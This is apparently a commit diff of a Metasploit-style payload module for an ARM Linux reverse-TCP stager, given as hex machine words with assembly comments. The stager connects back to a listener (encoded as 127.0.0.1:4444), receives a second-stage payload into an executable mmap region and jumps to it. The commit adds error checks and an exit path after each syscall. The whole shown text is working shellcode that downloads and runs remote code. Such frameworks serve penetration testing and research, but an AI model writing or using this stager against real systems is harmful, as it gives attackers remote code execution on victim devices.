@@ -34,56 +34,74 @@ def initialize(info = {})
34
34
{
35
35
'Offsets' =>
36
36
{
37
- 'LPORT' => [ 182 , 'n' ] ,
38
- 'LHOST' => [ 184 , 'ADDR' ] ,
37
+ 'LPORT' => [ 242 , 'n' ] ,
38
+ 'LHOST' => [ 244 , 'ADDR' ] ,
39
39
} ,
40
40
'Payload' =>
41
41
[
42
- 0xe59f70b4 , # ldr r7, [pc, #180 ] ; set 281(0x119) to r7
42
+ 0xe59f70f0 , # ldr r7, [pc, #240 ] ; set 281(0x119) to r7
43
43
0xe3a00002 , # mov r0, #2
44
44
0xe3a01001 , # mov r1, #1
45
45
0xe3a02006 , # mov r2, #6
46
46
0xef000000 , # svc 0x00000000 ; invoke socket
47
+ 0xe3500000 , # cmp r0, #0
48
+ 0xba000031 , # blt 817c <failed>
47
49
0xe1a0c000 , # mov ip, r0
48
50
0xe2877002 , # add r7, r7, #2 ; set 283(0x11b) to r7
49
- 0xe28f1090 , # add r1, pc, #144 ; set 0x0a1a0002 to r1
51
+ 0xe28f10c4 , # add r1, pc, #196 ; set first .word addr to r1
50
52
0xe3a02010 , # mov r2, #16
51
53
0xef000000 , # svc 0x00000000 ; invoke connect
54
+ 0xe3500000 , # cmp r0, #0
55
+ 0xba00002a , # blt 817c <failed>
52
56
0xe1a0000c , # mov r0, ip
53
57
0xe24dd004 , # sub sp, sp, #4
54
58
0xe2877008 , # add r7, r7, #8 ; set 291(0x123) to r7
55
59
0xe1a0100d , # mov r1, sp
56
60
0xe3a02004 , # mov r2, #4
57
61
0xe3a03000 , # mov r3, #0
58
62
0xef000000 , # svc 0x00000000 ; invoke recv
63
+ 0xe3500000 , # cmp r0, #0
64
+ 0xba000021 , # blt 817c <failed>
59
65
0xe59d1000 , # ldr r1, [sp]
60
- 0xe59f3070 , # ldr r3, [pc, #112 ] ; set 0xfffff000 to r3
66
+ 0xe59f3094 , # ldr r3, [pc, #148 ] ; set 0xfffff000 to r3
61
67
0xe0011003 , # and r1, r1, r3
62
68
0xe3a02001 , # mov r2, #1
63
69
0xe1a02602 , # lsl r2, r2, #12
64
70
0xe0811002 , # add r1, r1, r2 ; set 0x1000 to r1
65
71
0xe3a070c0 , # mov r7, #192 ; set 192(0xC0) to r7
66
72
0xe3e00000 , # mvn r0, #0 ; set 0xffffffff to r0
67
73
0xe3a02007 , # mov r2, #7
68
- 0xe59f3054 , # ldr r3, [pc, #84 ] ; set 0x1022 to r3
74
+ 0xe59f3078 , # ldr r3, [pc, #120 ] ; set r3 to 0x1022
69
75
0xe1a04000 , # mov r4, r0
70
76
0xe3a05000 , # mov r5, #0
71
77
0xef000000 , # svc 0x00000000 ; invoke mmap2
78
+ 0xe3500000 , # cmp r0, #0
79
+ 0xba000012 , # blt 817c <failed>
72
80
0xe2877063 , # add r7, r7, #99 ; set 291(0x123) to r7
73
81
0xe1a01000 , # mov r1, r0
74
82
0xe1a0000c , # mov r0, ip
75
83
0xe3a03000 , # mov r3, #0
76
- 0xe59d2000 , # loop: ldr r2, [sp]
84
+ # loop:
85
+ 0xe59d2000 , # ldr r2, [sp]
77
86
0xe2422ffa , # sub r2, r2, #1000
78
87
0xe58d2000 , # str r2, [sp]
79
88
0xe3520000 , # cmp r2, #0
80
89
0xda000002 , # ble 80fc <last>
81
90
0xe3a02ffa , # mov r2, #1000
82
91
0xef000000 , # svc 0x00000000 ; invoke recv
92
+ 0xe3500000 , # cmp r0, #0
93
+ 0xba000005 , # blt 817c <failed>
83
94
0xeafffff7 , # b 80dc <loop>
84
- 0xe2822ffa , # last: add r2, r2, #1000
95
+ # last:
96
+ 0xe2822ffa , # add r2, r2, #1000
85
97
0xef000000 , # svc 0x00000000 ; invoke recv
98
+ 0xe3500000 , # cmp r0, #0
99
+ 0xba000000 , # blt 817c <failed>
86
100
0xe1a0f001 , # mov pc, r1
101
+ # failed:
102
+ 0xe3a07001 , # mov r7, #1
103
+ 0xe3a00001 , # mov r0, #1
104
+ 0xef000000 , # svc 0x00000000
87
105
0x5c110002 , # .word 0x5c110002
88
106
0x0100007f , # .word 0x0100007f
89
107
0x00000119 , # .word 0x00000119
0 commit comments